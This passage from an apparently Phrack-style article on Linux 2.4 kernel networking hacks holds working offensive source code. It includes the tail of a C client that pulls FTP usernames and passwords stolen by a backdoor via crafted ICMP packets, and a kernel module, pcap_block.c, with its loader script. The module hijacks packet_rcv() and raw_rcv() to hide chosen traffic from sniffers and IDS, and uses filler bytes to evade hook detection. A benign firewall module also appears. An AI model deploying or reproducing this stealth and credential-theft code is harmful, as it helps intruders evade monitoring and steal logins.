strerror(errno)); exit(1); } addr.sin_family = AF_INET; addr.sin_addr.s_addr = inet_addr(argv[1]); my_addr.s_addr = inet_addr(argv[2]); memset(dgram, 0x00, 256); memset(recvbuff, 0x00, 256); /* Fill in the IP fields first */ iphead->ip_hl = 5; iphead->ip_v = 4; iphead->ip_tos = 0; iphead->ip_len = 84; iphead->ip_id = (unsigned short)rand(); iphead->ip_off = 0; iphead->ip_ttl = 128; iphead->ip_p = IPPROTO_ICMP; iphead->ip_sum = 0; iphead->ip_src = my_addr; iphead->ip_dst = addr.sin_addr; /* Now fill in the ICMP fields */ icmphead->icmp_type = ICMP_ECHO; icmphead->icmp_code = 0x5B; icmphead->icmp_cksum = checksum(42, (unsigned short *)icmphead); /* Finally, send the packet */ fprintf(stdout, "Sending request...\n"); if (sendto(icmp_sock, dgram, 84, 0, (struct sockaddr *)&addr, sizeof(struct sockaddr)) < 0) { fprintf(stderr, "\nFailed sending request! %s\n", strerror(errno)); return 0; } fprintf(stdout, "Waiting for reply...\n"); if (recvfrom(icmp_sock, recvbuff, 256, 0, (struct sockaddr *)&src, &src_addr_size) < 0) { fprintf(stdout, "Failed getting reply packet! %s\n", strerror(errno)); close(icmp_sock); exit(1); } iphead = (struct ip *)recvbuff; icmphead = (struct icmp *)(recvbuff + sizeof(struct ip)); memcpy(&serv_addr, ((char *)icmphead + 8), sizeof (struct in_addr)); fprintf(stdout, "Stolen for ftp server %s:\n", inet_ntoa(serv_addr)); fprintf(stdout, "Username: %s\n", (char *)((char *)icmphead + 12)); fprintf(stdout, "Password: %s\n", (char *)((char *)icmphead + 28)); close(icmp_sock); return 0; } /* Checksum-generation function. It appears that PING'ed machines don't * reply to PINGs with invalid (ie. empty) ICMP Checksum fields... * Fair enough I guess. */ static unsigned short checksum(int numwords, unsigned short *buff) { unsigned long sum; for(sum = 0;numwords > 0;numwords--) sum += *buff++; /* add next word, then increment pointer */ sum = (sum >> 16) + (sum & 0xFFFF); sum += (sum >> 16); return ~sum; } <--> --[ 6 - Hiding network traffic from Libpcap This section will briefly describe how the Linux 2.4 kernel can be hacked to make network traffic that matches predefined conditions invisible to packet sniffing software running on the local machine. Presented at the end of this article is working code that will do such a thing for all IPv4 traffic coming from or going to a particular IP address. So let's get started shall we... ----[ 6.1 - SOCK_PACKET, SOCK_RAW and Libpcap Some of the most useful software for a system administrator is that which can be classified under the broad title of "packet sniffer". Two of the most common examples of general purpose packet sniffers are tcpdump(1) and Ethereal(1). Both of these applications utilise the Libpcap library (available from [1] along with tcpdump) to capture raw packets. Network Intrusion Detection Systems (NIDS) also make use of the Libpcap library. SNORT requires Libpcap, as does Libnids, a NIDS writing library that provides IP reassembly and TCP stream following and is available from [2]. On Linux systems, the Libpcap library uses the SOCK_PACKET interface. Packet sockets are special sockets that can be used to send and receive raw packets at the link layer. There is a lot that can be said about packet sockets and their use. However, because this section is about hiding from them and not using them, the interested reader is directed to the packet(7) man page. For the discussion here, it is only neccessary to understand that packet sockets are what Libpcap applications use to get the information on raw packets coming into or going out of the machine. When a packet is received by the kernel's network stack, a check is performed to see if there are any packet sockets that would be interested in this packet. If there are then the packet is delivered to those interested sockets. If not, the packet simply continues on it's way to the TCP, UDP or other socket type that it's truly bound for. The same thing happens for sockets of type SOCK_RAW. Raw sockets are very similar to packet sockets, except they do not provide link layer headers. An example of a utility that utilises raw IP sockets is my SYNalert utility, available at [3] (sorry about the shameless plug there :). So now you should see that packet sniffing software on Linux uses the Libpcap library. Libpcap utilises the packet socket interface to obtain raw packets with link layers on Linux systems. Raw sockets were also mentioned which act as a way for user space applications to obtain packets complete with IP headers. The next section will discuss how an LKM can be used to hide network traffic from these packet and raw socket interfaces. ------[ 6.2 Wrapping the cloak around the dagger When a packet is received and sent to a packet socket, the packet_rcv() function is called. This function can be found in net/packet/af_packet.c. packet_rcv() is responsible for running the packet through any socket filters that may be applied to the destination socket and then the ultimate delivery of the packet to user space. To hide packets from a packet socket we need to prevent packet_rcv() from being called at all for certain packets. How do we do this? With good ol'-fashioned function hijacking of course. The basic operation of function hijacking is that if we know the address of a kernel function, even one that's not exported, we can redirect that function to another location before we allow the real code to run. To do this we first save so many of the original instruction bytes from the beginning of the function and replace them with instruction bytes that perform an absolute jump to our own code. Example i386 assembler to do this is given here: movl (address of our function), %eax jmp *eax The generated hex bytes of these instructions (substituting zero as our function address) are: 0xb8 0x00 0x00 0x00 0x00 0xff 0xe0 If in the initialisation of an LKM we change the function address of zero in the code above to that of our hook function, we can make our hook function run first. When (if) we want to run the original function we simply restore the original bytes at the beginning, call the function and then replace our hijacking code. Simple, but powerful. Silvio Cesare has written a document a while ago detailing kernel function hijacking. See [4] in the references. Now to hide packets from packet sockets we need to first write the hook function that will check to see if a packet matches our criteria to be hidden. If it does, then our hook function simply returns zero to it's caller and packet_rcv() never gets called. If packet_rcv() never gets called, then the packet is never delivered to the user space packet socket. Note that it is only the *packet* socket that this packet will be dropped on. If we want to filter FTP packets from being sent to packet sockets then the FTP server's TCP socket will still see the packet. All that we've done is made that packet invisible to any sniffer software that may be running on the host. The FTP server will still be able to process and log the connection. In theory that's all there is too it. The same thing can be done for raw sockets as well. The difference is that we need to hook the raw_rcv() function (net/ipv4/raw.c). The next section will present and discuss source code for an example LKM that will hijack the packet_rcv() and raw_rcv() functions and hide any packets going to or coming from an IP address that we specify. --[ 7 - Conclusion Hopefully by now you have at least a basic understanding of what Netfilter is, how to use it and what you can do with it. You should also have the knowledge to hide special network traffic from sniffing software running on the local machine.If you would like a tarball of the sources used for this tutorial then just email me. I would also appreciate any corrections, comments or suggestions. Now I leave it to you and your imagination to do something interesting with what I have presented here. --[ A - Light-Weight Fire Wall ----[ A.1 - Overview The Light-Weight Fire Wall (LWFW) is a simple kernel module that demonstrates the basic packet filtering techniques that were presented in section 4.LWFW also provides a control interface through the ioctl() system call. Because the LWFW source is sufficiently documented I will only provide a brief overview of how it works. When the LWFW module is installed its first task is to try and register the control device. Note that before the ioctl() interface to LWFW can be used, a character device file needs to be made in /dev. If the control device registration succeeds the "in use" marker is cleared and the hook function for NF_IP_PRE_ROUTE is registered. The clean-up function simply does the reverse of this process. LWFW provides three basic options for dropping packets. These are, in the order of processing: -- Source interface -- Source IP address -- Destination TCP port The specifics of these rules are set with the ioctl() interface. When a packet is received LWFW will check it against all the rules which have been set. If it matches any of the rules then the hook function will return NF_DROP and Netfilter will silently drop the packet. Otherwise the hook function will return NF_ACCEPT and the packet will continue on its way. The last thing worth mentioning is LWFW's statistics logging. Whenever a packet comes into the hook function and LWFW is active the total number of packets seen is incremented. The individual rules checking functions are responsible for incrementing their respective count of dropped packets. Note that when a rule's value is changed its count of dropped packets is reset to zero. The lwfwstats program utilises the LWFW_GET_STATS IOCTL to get a copy of the statistics structure and display it's contents. ----[ A.2 - The source... lwfw.c <++> lwfw/lwfw.c /* Light-weight Fire Wall. Simple firewall utility based on * Netfilter for 2.4. Designed for educational purposes. * * Written by bioforge - March 2003. */ #define MODULE #define __KERNEL__ #include <linux/module.h> #include <linux/kernel.h> #include <linux/net.h> #include <linux/types.h> #include <linux/skbuff.h> #include <linux/string.h> #include <linux/malloc.h> #include <linux/netdevice.h> #include <linux/netfilter.h> #include <linux/netfilter_ipv4.h> #include <linux/in.h> #include <linux/ip.h> #include <linux/tcp.h> #include <asm/errno.h> #include <asm/uaccess.h> #include "lwfw.h" /* Local function prototypes */ static int set_if_rule(char *name); static int set_ip_rule(unsigned int ip); static int set_port_rule(unsigned short port); static int check_ip_packet(struct sk_buff *skb); static int check_tcp_packet(struct sk_buff *skb); static int copy_stats(struct lwfw_stats *statbuff); /* Some function prototypes to be used by lwfw_fops below. */ static int lwfw_ioctl(struct inode *inode, struct file *file, unsigned int cmd, unsigned long arg); static int lwfw_open(struct inode *inode, struct file *file); static int lwfw_release(struct inode *inode, struct file *file); /* Various flags used by the module */ /* This flag makes sure that only one instance of the lwfw device * can be in use at any one time. */ static int lwfw_ctrl_in_use = 0; /* This flag marks whether LWFW should actually attempt rule checking. * If this is zero then LWFW automatically allows all packets. */ static int active = 0; /* Specifies options for the LWFW module */ static unsigned int lwfw_options = (LWFW_IF_DENY_ACTIVE | LWFW_IP_DENY_ACTIVE | LWFW_PORT_DENY_ACTIVE); static int major = 0; /* Control device major number */ /* This struct will describe our hook procedure. */ struct nf_hook_ops nfkiller; /* Module statistics structure */ static struct lwfw_stats lwfw_statistics = {0, 0, 0, 0, 0}; /* Actual rule 'definitions'. */ /* TODO: One day LWFW might actually support many simultaneous rules. * Just as soon as I figure out the list_head mechanism... */ static char *deny_if = NULL; /* Interface to deny */ static unsigned int deny_ip = 0x00000000; /* IP address to deny */ static unsigned short deny_port = 0x0000; /* TCP port to deny */ /* * This is the interface device's file_operations structure */ struct file_operations lwfw_fops = { NULL, NULL, NULL, NULL, NULL, NULL, lwfw_ioctl, NULL, lwfw_open, NULL, lwfw_release, NULL /* Will be NULL'ed from here... */ }; MODULE_AUTHOR("bioforge"); MODULE_DESCRIPTION("Light-Weight Firewall for Linux 2.4"); /* * This is the function that will be called by the hook */ unsigned int lwfw_hookfn(unsigned int hooknum, struct sk_buff **skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)) { unsigned int ret = NF_ACCEPT; /* If LWFW is not currently active, immediately return ACCEPT */ if (!active) return NF_ACCEPT; lwfw_statistics.total_seen++; /* Check the interface rule first */ if (deny_if && DENY_IF_ACTIVE) { if (strcmp(in->name, deny_if) == 0) { /* Deny this interface */ lwfw_statistics.if_dropped++; lwfw_statistics.total_dropped++; return NF_DROP; } } /* Check the IP address rule */ if (deny_ip && DENY_IP_ACTIVE) { ret = check_ip_packet(*skb); if (ret != NF_ACCEPT) return ret; } /* Finally, check the TCP port rule */ if (deny_port && DENY_PORT_ACTIVE) { ret = check_tcp_packet(*skb); if (ret != NF_ACCEPT) return ret; } return NF_ACCEPT; /* We are happy to keep the packet */ } /* Function to copy the LWFW statistics to a userspace buffer */ static int copy_stats(struct lwfw_stats *statbuff) { NULL_CHECK(statbuff); copy_to_user(statbuff, &lwfw_statistics, sizeof(struct lwfw_stats)); return 0; } /* Function that compares a received TCP packet's destination port * with the port specified in the Port Deny Rule. If a processing * error occurs, NF_ACCEPT will be returned so that the packet is * not lost. */ static int check_tcp_packet(struct sk_buff *skb) { /* Seperately defined pointers to header structures are used * to access the TCP fields because it seems that the so-called * transport header from skb is the same as its network header TCP packets. * If you don't believe me then print the addresses of skb->nh.iph * and skb->h.th. * It would have been nicer if the network header only was IP and * the transport header was TCP but what can you do? */ struct tcphdr *thead; /* We don't want any NULL pointers in the chain to the TCP header. */ if (!skb ) return NF_ACCEPT; if (!(skb->nh.iph)) return NF_ACCEPT; /* Be sure this is a TCP packet first */ if (skb->nh.iph->protocol != IPPROTO_TCP) { return NF_ACCEPT; } thead = (struct tcphdr *)(skb->data + (skb->nh.iph->ihl * 4)); /* Now check the destination port */ if ((thead->dest) == deny_port) { /* Update statistics */ lwfw_statistics.total_dropped++; lwfw_statistics.tcp_dropped++; return NF_DROP; } return NF_ACCEPT; } /* Function that compares a received IPv4 packet's source address * with the address specified in the IP Deny Rule. If a processing * error occurs, NF_ACCEPT will be returned so that the packet is * not lost. */ static int check_ip_packet(struct sk_buff *skb) { /* We don't want any NULL pointers in the chain to the IP header. */ if (!skb ) return NF_ACCEPT; if (!(skb->nh.iph)) return NF_ACCEPT; if (skb->nh.iph->saddr == deny_ip) {/* Matches the address. Barf. */ lwfw_statistics.ip_dropped++; /* Update the statistics */ lwfw_statistics.total_dropped++; return NF_DROP; } return NF_ACCEPT; } static int set_if_rule(char *name) { int ret = 0; char *if_dup; /* Duplicate interface */ /* Make sure the name is non-null */ NULL_CHECK(name); /* Free any previously saved interface name */ if (deny_if) { kfree(deny_if); deny_if = NULL; } if ((if_dup = kmalloc(strlen((char *)name) + 1, GFP_KERNEL)) == NULL) { ret = -ENOMEM; } else { memset(if_dup, 0x00, strlen((char *)name) + 1); memcpy(if_dup, (char *)name, strlen((char *)name)); } deny_if = if_dup; lwfw_statistics.if_dropped = 0; /* Reset drop count for IF rule */ printk("LWFW: Set to deny from interface: %s\n", deny_if); return ret; } static int set_ip_rule(unsigned int ip) { deny_ip = ip; lwfw_statistics.ip_dropped = 0; /* Reset drop count for IP rule */ printk("LWFW: Set to deny from IP address: %d.%d.%d.%d\n", ip & 0x000000FF, (ip & 0x0000FF00) >> 8, (ip & 0x00FF0000) >> 16, (ip & 0xFF000000) >> 24); return 0; } static int set_port_rule(unsigned short port) { deny_port = port; lwfw_statistics.tcp_dropped = 0; /* Reset drop count for TCP rule */ printk("LWFW: Set to deny for TCP port: %d\n", ((port & 0xFF00) >> 8 | (port & 0x00FF) << 8)); return 0; } /*********************************************/ /* * File operations functions for control device */ static int lwfw_ioctl(struct inode *inode, struct file *file, unsigned int cmd, unsigned long arg) { int ret = 0; switch (cmd) { case LWFW_GET_VERS: return LWFW_VERS; case LWFW_ACTIVATE: { active = 1; printk("LWFW: Activated.\n"); if (!deny_if && !deny_ip && !deny_port) { printk("LWFW: No deny options set.\n"); } break; } case LWFW_DEACTIVATE: { active ^= active; printk("LWFW: Deactivated.\n"); break; } case LWFW_GET_STATS: { ret = copy_stats((struct lwfw_stats *)arg); break; } case LWFW_DENY_IF: { ret = set_if_rule((char *)arg); break; } case LWFW_DENY_IP: { ret = set_ip_rule((unsigned int)arg); break; } case LWFW_DENY_PORT: { ret = set_port_rule((unsigned short)arg); break; } default: ret = -EBADRQC; }; return ret; } /* Called whenever open() is called on the device file */ static int lwfw_open(struct inode *inode, struct file *file) { if (lwfw_ctrl_in_use) { return -EBUSY; } else { MOD_INC_USE_COUNT; lwfw_ctrl_in_use++; return 0; } return 0; } /* Called whenever close() is called on the device file */ static int lwfw_release(struct inode *inode, struct file *file) { lwfw_ctrl_in_use ^= lwfw_ctrl_in_use; MOD_DEC_USE_COUNT; return 0; } /*********************************************/ /* * Module initialisation and cleanup follow... */ int init_module() { /* Register the control device, /dev/lwfw */ SET_MODULE_OWNER(&lwfw_fops); /* Attempt to register the LWFW control device */ if ((major = register_chrdev(LWFW_MAJOR, LWFW_NAME, &lwfw_fops)) < 0) { printk("LWFW: Failed registering control device!\n"); printk("LWFW: Module installation aborted.\n"); return major; } /* Make sure the usage marker for the control device is cleared */ lwfw_ctrl_in_use ^= lwfw_ctrl_in_use; printk("\nLWFW: Control device successfully registered.\n"); /* Now register the network hooks */ nfkiller.hook = lwfw_hookfn; nfkiller.hooknum = NF_IP_PRE_ROUTING; /* First stage hook */ nfkiller.pf = PF_INET; /* IPV4 protocol hook */ nfkiller.priority = NF_IP_PRI_FIRST; /* Hook to come first */ /* And register... */ nf_register_hook(&nfkiller); printk("LWFW: Network hooks successfully installed.\n"); printk("LWFW: Module installation successful.\n"); return 0; } void cleanup_module() { int ret; /* Remove IPV4 hook */ nf_unregister_hook(&nfkiller); /* Now unregister control device */ if ((ret = unregister_chrdev(LWFW_MAJOR, LWFW_NAME)) != 0) { printk("LWFW: Removal of module failed!\n"); } /* If anything was allocated for the deny rules, free it here */ if (deny_if) kfree(deny_if); printk("LWFW: Removal of module successful.\n"); } <--> <++> lwfw/lwfw.h /* Include file for the Light-weight Fire Wall LKM. * * A very simple Netfilter module that drops backets based on either * their incoming interface or source IP address. * * Written by bioforge - March 2003 */ #ifndef __LWFW_INCLUDE__ # define __LWFW_INCLUDE__ /* NOTE: The LWFW_MAJOR symbol is only made available for kernel code. * Userspace code has no business knowing about it. */ # define LWFW_NAME "lwfw" /* Version of LWFW */ # define LWFW_VERS 0x0001 /* 0.1 */ /* Definition of the LWFW_TALKATIVE symbol controls whether LWFW will * print anything with printk(). This is included for debugging purposes. */ #define LWFW_TALKATIVE /* These are the IOCTL codes used for the control device */ #define LWFW_CTRL_SET 0xFEED0000 /* The 0xFEED... prefix is arbitrary */ #define LWFW_GET_VERS 0xFEED0001 /* Get the version of LWFM */ #define LWFW_ACTIVATE 0xFEED0002 #define LWFW_DEACTIVATE 0xFEED0003 #define LWFW_GET_STATS 0xFEED0004 #define LWFW_DENY_IF 0xFEED0005 #define LWFW_DENY_IP 0xFEED0006 #define LWFW_DENY_PORT 0xFEED0007 /* Control flags/Options */ #define LWFW_IF_DENY_ACTIVE 0x00000001 #define LWFW_IP_DENY_ACTIVE 0x00000002 #define LWFW_PORT_DENY_ACTIVE 0x00000004 /* Statistics structure for LWFW. * Note that whenever a rule's condition is changed the related * xxx_dropped field is reset. */ struct lwfw_stats { unsigned int if_dropped; /* Packets dropped by interface rule */ unsigned int ip_dropped; /* Packets dropped by IP addr. rule */ unsigned int tcp_dropped; /* Packets dropped by TCP port rule */ unsigned long total_dropped; /* Total packets dropped */ unsigned long total_seen; /* Total packets seen by filter */ }; /* * From here on is used solely for the actual kernel module */ #ifdef __KERNEL__ # define LWFW_MAJOR 241 /* This exists in the experimental range */ /* This macro is used to prevent dereferencing of NULL pointers. If * a pointer argument is NULL, this will return -EINVAL */ #define NULL_CHECK(ptr) \ if ((ptr) == NULL) return -EINVAL /* Macros for accessing options */ #define DENY_IF_ACTIVE (lwfw_options & LWFW_IF_DENY_ACTIVE) #define DENY_IP_ACTIVE (lwfw_options & LWFW_IP_DENY_ACTIVE) #define DENY_PORT_ACTIVE (lwfw_options & LWFW_PORT_DENY_ACTIVE) #endif /* __KERNEL__ */ #endif <--> <++> lwfw/Makefile CC= egcs CFLAGS= -Wall -O2 OBJS= lwfw.o .c.o: $(CC) -c {body}lt; -o $@ $(CFLAGS) all: $(OBJS) clean: rm -rf *.o rm -rf ./*~ <--> --[ B - Code for section 6 Presented here is a simple module that will hijack the packet_rcv() and raw_rcv() functions to hide any packets to or from the IP address we specify. The default IP address is set to 127.0.0.1, but this can be changed by changing the value of the #define IP. Also presented is a bash script that will get the addresses for the required functions from a System.map file and run insmod with these addresses as parameters in the required format. This loader script was written by grem. Originally for my Mod-off project, it was easily modified to suit the module presented here. Thanks again grem. The presented module is proof-of-concept code only and as such, does not have anything in the way of module hiding. It is also important to remember that although this module can hide traffic from a sniffer running on the same host, a sniffer on a different host, but on the same LAN segment will still see the packets. From what is presented in the module, smart readers should have everything they need to design filtering functions to block any kind of packets they need. I have successfully used the technique presented in this text to hide control and information retrieval packets used by my other LKM projects. <++> pcaphide/pcap_block.c /* Kernel hack that will hijack the packet_rcv() function * which is used to pass packets to Libpcap applications * that use PACKET sockets. Also hijacks the raw_rcv() * function. This is used to pass packets to applications * that open RAW sockets. * * Written by bioforge - 30th June, 2003 */ #define MODULE #define __KERNEL__ #include <linux/config.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/netdevice.h> #include <linux/skbuff.h> #include <linux/smp_lock.h> #include <linux/ip.h> /* For struct ip */ #include <linux/if_ether.h> /* For ETH_P_IP */ #include <asm/page.h> /* For PAGE_OFFSET */ /* * IP address to hide 127.0.0.1 in NBO for Intel */ #define IP htonl(0x7F000001) /* Function pointer for original packet_rcv() */ static int (*pr)(struct sk_buff *skb, struct net_device *dev, struct packet_type *pt); MODULE_PARM(pr, "i"); /* Retrieved as insmod parameter */ /* Function pointer for original raw_rcv() */ static int (*rr)(struct sock *sk, struct sk_buff *skb); MODULE_PARM(rr, "i"); /* Spinlock used for the parts where we un/hijack packet_rcv() */ static spinlock_t hijack_lock = SPIN_LOCK_UNLOCKED; /* Helper macros for use with the Hijack spinlock */ #define HIJACK_LOCK spin_lock_irqsave(&hijack_lock, \ sl_flags) #define HIJACK_UNLOCK spin_unlock_irqrestore(&hijack_lock, \ sl_flags) #define CODESIZE 10 /* Original and hijack code buffers. * Note that the hijack code also provides 3 additional * bytes ( inc eax; nop; dec eax ) to try and throw * simple hijack detection techniques that just look for * a move and a jump. */ /* For packet_rcv() */ static unsigned char pr_code[CODESIZE] = "\xb8\x00\x00\x00\x00" "\x40\x90\x48" "\xff\xe0"; static unsigned char pr_orig[CODESIZE]; /* For raw_rcv() */ static unsigned char rr_code[CODESIZE] = "\xb8\x00\x00\x00\x00" "\x40\x90\x48" "\xff\xe0"; static unsigned char rr_orig[CODESIZE]; /* Replacement for packet_rcv(). This is currently setup to hide * all packets with a source or destination IP address that we * specify. */ int hacked_pr(struct sk_buff *skb, struct net_device *dev, struct packet_type *pt) { int sl_flags; /* Flags for spinlock */ int retval; /* Check if this is an IP packet going to or coming from our * hidden IP address. */ if (skb->protocol == htons(ETH_P_IP)) /* IP packet */ if (skb->nh.iph->saddr == IP || skb->nh.iph->daddr == IP) return 0; /* Ignore this packet */ /* Call original */ HIJACK_LOCK; memcpy((char *)pr, pr_orig, CODESIZE); retval = pr(skb, dev, pt); memcpy((char *)pr, pr_code, CODESIZE); HIJACK_UNLOCK; return retval; } /* Replacement for raw_rcv(). This is currently setup to hide * all packets with a source or destination IP address that we * specify. */ int hacked_rr(struct sock *sock, struct sk_buff *skb) { int sl_flags; /* Flags for spinlock */ int retval; /* Check if this is an IP packet going to or coming from our * hidden IP address. */ if (skb->protocol == htons(ETH_P_IP)) /* IP packet */ if (skb->nh.iph->saddr == IP || skb->nh.iph->daddr == IP) return 0; /* Ignore this packet */ /* Call original */ HIJACK_LOCK; memcpy((char *)rr, rr_orig, CODESIZE); retval = rr(sock, skb); memcpy((char *)rr, rr_code, CODESIZE); HIJACK_UNLOCK; return retval; } int init_module() { int sl_flags; /* Flags for spinlock */ /* pr & rr set as module parameters. If zero or < PAGE_OFFSET * (which we treat as the lower bound of kernel memory), then * we will not install the hacks. */ if ((unsigned int)pr == 0 || (unsigned int)pr < PAGE_OFFSET) { printk("Address for packet_rcv() not valid! (%08x)\n", (int)pr); return -1; } if ((unsigned int)rr == 0 || (unsigned int)rr < PAGE_OFFSET) { printk("Address for raw_rcv() not valid! (%08x)\n", (int)rr); return -1; } *(unsigned int *)(pr_code + 1) = (unsigned int)hacked_pr; *(unsigned int *)(rr_code + 1) = (unsigned int)hacked_rr; HIJACK_LOCK; memcpy(pr_orig, (char *)pr, CODESIZE); memcpy((char *)pr, pr_code, CODESIZE); memcpy(rr_orig, (char *)rr, CODESIZE); memcpy((char *)rr, rr_code, CODESIZE); HIJACK_UNLOCK; EXPORT_NO_SYMBOLS; return 0; } void cleanup_module() { int sl_flags; lock_kernel(); HIJACK_LOCK; memcpy((char *)pr, pr_orig, CODESIZE); memcpy((char *)rr, rr_orig, CODESIZE); HIJACK_UNLOCK; unlock_kernel(); } <--> <++> pcaphide/loader.sh #!/bin/sh # Written by grem, 30th June 2003 # Hacked by bioforge, 30th June 2003 if [ "$1" = "" ]; then echo "Use: $0 <System.map>"; exit; fi MAP="$1" PR=`cat $MAP | grep -w "packet_rcv" | cut -c 1-16` RR=`cat $MAP | grep -w "raw_rcv" | cut -c 1-16` if [ "$PR" = "" ]; then PR="00000000" fi if [ "$RR" = "" ]; then RR="00000000" fi echo "insmod pcap_block.o pr=0x$PR rr=0x$RR" # Now do the actual call to insmod insmod pcap_block.o pr=0x$PR rr=0x$RR <--> <++> pcaphide/Makefile CC= gcc CFLAGS= -Wall -O2 -fomit-frame-pointer INCLUDES= -I/usr/src/linux/include OBJS= pcap_block.o .c.o: $(CC) -c {body}lt; -o $@ $(CFLAGS) $(INCLUDES) all: $(OBJS) clean: rm -rf *.o rm -rf ./*~ <--> ------[ References This appendix contains a list of references used in writing this article. [1] The tcpdump group http://www.tcpdump.org [2] The Packet Factory http://www.packetfactory.net [3] My network tools page - http://uqconnect.net/~zzoklan/software/#net_tools [4] Silvio Cesare's Kernel Function Hijacking article http://vx.netlux.org/lib/vsc08.html [5] Man pages for: - raw (7) - packet (7) - tcpdump (1) [6] Linux kernel source files. In particular: - net/packet/af_packet.c (for packet_rcv()) - net/ipv4/raw.c (for raw_rcv()) - net/core/dev.c - net/ipv4/netfilter/* [7] Harald Welte's Journey of a packet through the Linux 2.4 network stack http://gnumonks.org/ftp/pub/doc/packet-journey-2.4.html [8] The Netfilter documentation page http://www.netfilter.org/documentation [9] Phrack 55 - File 12 - http://www.phrack.org/show.php?p=55&a=12 [A] Linux Device Drivers 2nd Ed. by Alessandro Rubini et al. [B] Inside the Linux Packet Filter. A Linux Journal article http://www.linuxjournal.com/article.php?sid=4852 |=[ EOF ]=---------------------------------------------------------------=|